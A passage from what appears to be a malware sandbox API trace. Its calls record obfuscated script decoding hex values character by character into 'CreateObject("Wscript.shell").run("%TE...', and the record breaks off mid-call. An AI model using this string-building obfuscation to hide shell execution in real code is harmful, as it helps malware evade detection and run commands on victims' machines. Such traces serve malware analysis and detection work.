| out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0071.854] VarBstrCat (in: bstrLeft="CreateObject(\"Wscri", bstrRight="p", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.854] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.854] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.854] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.854] VarBstrCat (in: bstrLeft="CreateObject(\"Wscrip", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.855] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.855] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.855] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.855] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.855] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.855] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.855] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.855] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.856] VarBstrCat (in: bstrLeft="&H", bstrRight="D0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.856] VarParseNumFromStr (in: strIn="&HD0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.856] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0071.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ð", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Уµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0071.856] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.s", bstrRight="h", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.856] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.856] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.856] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.857] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.sh", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.857] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.857] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.857] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.857] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.she", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.857] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.857] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.857] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.858] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shel", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.858] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.858] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.858] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.858] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell", bstrRight="\"", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.858] VarBstrCat (in: bstrLeft="&H", bstrRight="52", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.858] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.858] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0071.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0071.858] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\"", bstrRight=")", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.859] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.859] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.859] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.859] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\")", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.859] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.859] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.859] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.860] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.860] VarBstrCat (in: bstrLeft="&H", bstrRight="EA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.860] VarParseNumFromStr (in: strIn="&HEA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.860] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="ê") returned 1 [0071.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0071.860] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").r", bstrRight="u", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.860] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.860] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.860] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0071.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.861] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").ru", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.861] VarBstrCat (in: bstrLeft="&H", bstrRight="50", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.861] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.861] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0071.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0071.861] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run", bstrRight="(", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.861] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.861] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.861] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.862] VarBstrCat (in: bstrLeft="CreateObject(\"Wscript.shell\").run(", bstrRight="\"", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.862] VarBstrCat (in: bstrLeft="&H", bstrRight="4A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.862] VarParseNumFromStr (in: strIn="&H4A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.862] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0071.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="%") returned 1 [0071.862] VarBstrCat (in: bstrLeft=0x0, bstrRight="%", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.862] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.862] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.862] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="¨") returned 1 [0071.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¨", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¨£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0071.863] VarBstrCat (in: bstrLeft="%", bstrRight="T", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.863] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.863] VarParseNumFromStr (in: strIn="&H8A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.863] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="Š") returned 1 [0071.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0071.863] VarBstrCat (in: bstrLeft="%T", bstrRight="E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.863] VarBstrCat (in: bstrLeft="&H", bstrRight="9A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.863] VarParseNumFromStr (in: strIn="&H9A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.863] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="š") returned 1 [0071.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, 